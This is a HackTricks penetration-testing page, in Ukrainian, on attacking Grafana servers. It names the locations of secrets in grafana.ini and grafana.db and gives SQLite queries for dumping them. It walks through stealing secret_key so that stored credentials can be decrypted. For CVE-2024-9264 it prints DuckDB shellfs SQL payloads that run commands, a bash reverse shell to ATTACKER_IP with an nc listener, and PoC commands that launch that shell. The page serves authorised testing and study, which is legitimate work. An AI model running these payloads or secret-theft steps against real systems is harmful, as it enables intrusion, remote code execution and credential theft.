Grafana

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Цікаве

  • Основна конфігурація зазвичай знаходиться в /etc/grafana/grafana.ini (Deb/RPM) і може містити чутливі значення, такі як admin_user, admin_password, secret_key, налаштування OAuth, SMTP creds та renderer tokens.
  • За замовчуванням Grafana зберігає дані в SQLite3 під /var/lib/grafana/grafana.db.
  • Файли provisioning особливо цікаві після доступу до хоста:
  • /etc/grafana/provisioning/datasources/*.yaml
  • /etc/grafana/provisioning/plugins/*.yaml
  • У provisioning-файлах підтримується розгортання змінних середовища, тому leaked YAML часто розкриває як секрети, так і імена змінних оточення, які їх забезпечують.
  • Встановлені плагіни зазвичай знаходяться під /var/lib/grafana/plugins.
  • Всередині платформи ви можете запрошувати людей, створювати API keys / service account tokens, переглядати список плагінів, або встановлювати нові плагіни залежно від ролі.
  • Браузер теж корисний: Grafana передає нечутливу конфігурацію datasource на фронтенд. Якщо у вас є сесія Viewer (або ввімкнено anonymous access), перегляньте window.grafanaBootData у DevTools.

Корисні перевірки SQLite:

.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;

Викрадення джерел даних і секретів

Grafana розділяє конфігурацію, доступну в браузері, та зашифровані секрети:

  • jsonData видимий користувачам у браузері і часто достатній для переліку внутрішніх хостів, тенантів, режимів автентифікації, імен заголовків, AWS регіонів, Elasticsearch індексів, Loki тенантів, Prometheus URL-ів та подібних даних для розвідки.
  • secureJsonData шифрується на стороні сервера і після збереження джерела даних більше не читається з браузера.

Робочий процес після експлуатації:

  1. Зробити дамп grafana.ini і відновити secret_key.
  2. Отримати grafana.db та файли provisioning.
  3. Перелічити джерела даних і конфігурацію плагінів, щоб знайти повторно використовувані облікові дані та внутрішні кінцеві точки.
  4. Якщо мігруєте або відтворюєте базу даних в іншому екземплярі Grafana, збережіть той самий secret_key — інакше збережені паролі/токени джерел даних не розшифруються правильно.

Чому secret_key важливий у новіших версіях:

  • З Grafana v9 секрети в базі даних використовують envelope encryption.
  • Grafana шифрує секрети за допомогою data encryption keys (DEKs), а ці DEKs шифруються за допомогою key encryption key (KEK), виведеного з secret_key.
  • З точки зору атакуючого, grafana.db + secret_key — це пара, вартa викрадення.

Поверхня атаки плагінів

Розглядайте плагіни як частину цілі, а не як примітку:

  • Перелічуйте їх з файлової системи, з UI або з API:
curl -s http://grafana.target/api/plugins | jq '.[].id'
  • Старі або сторонні плагіни часто розширюють доступ Grafana до внутрішніх мереж, оскільки вони проксірують HTTP-запити або взаємодіють з локальними файлами/базами даних.
  • Останні приклади включають SSRF у плагіні Infinity (< 3.4.1) та шляхи зловживання, де плагін Image Renderer перетворює іншу вразливість на full-read SSRF.

CVE-2024-9264 – SQL Expressions (DuckDB shellfs) пост-авторизаційний RCE / LFI

Експериментальна функція SQL Expressions у Grafana може виконувати DuckDB-запити, які містять текст, контрольований користувачем. Недостатня санітаризація дозволяє атакувальникам ланцюжити DuckDB-інструкції та завантажувати community extension shellfs, який відкриває shell-команди через pipe-backed віртуальні файли.

Вплив

  • Будь-який аутентифікований користувач з роллю VIEWER або вище може отримати виконання коду як системний користувач Grafana (зазвичай grafana; іноді root всередині контейнера) або виконувати читання локальних файлів.
  • Передумови, які зазвичай виконуються в реальних розгортаннях:
  • SQL Expressions enabled: expressions.enabled = true
  • duckdb binary present in PATH on the server

Швидкі перевірки

  • У UI/API перейдіть до налаштувань Admin (Swagger: /swagger-ui, endpoint /api/admin/settings), щоб підтвердити:
  • expressions.enabled is true
  • Опційно: версія, типи datasource і загальні налаштування hardening
  • Shell на хості: which duckdb має повертати шлях для експлойт-шляху нижче.

Ручний шаблон запитів з використанням DuckDB + shellfs

  • Сценарій зловживання (2 запити):
  1. Встановити і завантажити розширення shellfs, виконати команду, перенаправити об’єднаний вивід у тимчасовий файл через pipe
  2. Прочитати тимчасовий файл за допомогою read_blob

Приклади SQL Expressions payloads, які передаються DuckDB:

-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');

Замініть CMD на бажану команду. Для читання файлів (LFI) ви можете замість цього використовувати функції роботи з файлами DuckDB, щоб читати локальні файли.

Приклад однорядкового reverse shell

bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"

Вставте це як CMD у першому запиті, поки у вас є listener: nc -lnvp 443.

Автоматизований PoC

Приклад використання

# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target

Якщо вивід показує uid=0(root), Grafana працює під root (часто всередині деяких контейнерів).

2025 client-side traversal / open redirect chain

The 2025 Grafana client-side traversal and open-redirect chain is already documented in more generic client-side pages. Використовуйте ці техніки проти Grafana-специфічних шляхів, таких як plugin assets, dashboard script loaders, and token-rotation redirects:

Client Side Path Traversal

Open Redirect

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks